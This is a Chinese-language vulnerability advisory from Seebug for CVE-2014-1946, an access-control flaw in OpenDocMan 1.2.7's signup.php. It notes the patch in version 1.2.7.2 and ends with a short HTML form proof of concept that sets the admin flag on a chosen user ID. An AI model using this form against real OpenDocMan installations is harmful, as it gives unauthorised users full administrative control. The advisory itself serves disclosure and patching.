OpenDocMan不正确访问控制漏洞

2014-03-1000:00:00

Root

www.seebug.org

0.01 Low

EPSS

Percentile

81.7%

JSON

CVE ID:CVE-2014-1946

OpenDocMan是一款开源基于WEB的文档管理系统。

由于在更新用户的个人资料时“/ signup.php”脚本允许的动作未充分验证，远程身份验证的攻击者可以分配管理权限和完全控制应用程序。
0
OpenDocMan 1.2.7
厂商补丁：

OpenDocMan

OpenDocMan 1.2.7.2已经修复该漏洞，建议用户下载更新：
http://www.opendocman.com


                                                The exploitation example below assigns administrative privileges for the current account:

&lt;form action=&quot;http://[host]/signup.php&quot; method=&quot;post&quot; name=&quot;main&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;updateuser&quot; value=&quot;1&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;admin&quot; value=&quot;1&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;[USER_ID]&quot;&gt;
&lt;input type=&quot;submit&quot; name=&quot;login&quot; value=&quot;Run&quot;&gt;
&lt;/form&gt;

0.01 Low

EPSS

Percentile

81.7%

JSON

Related for SSV:61717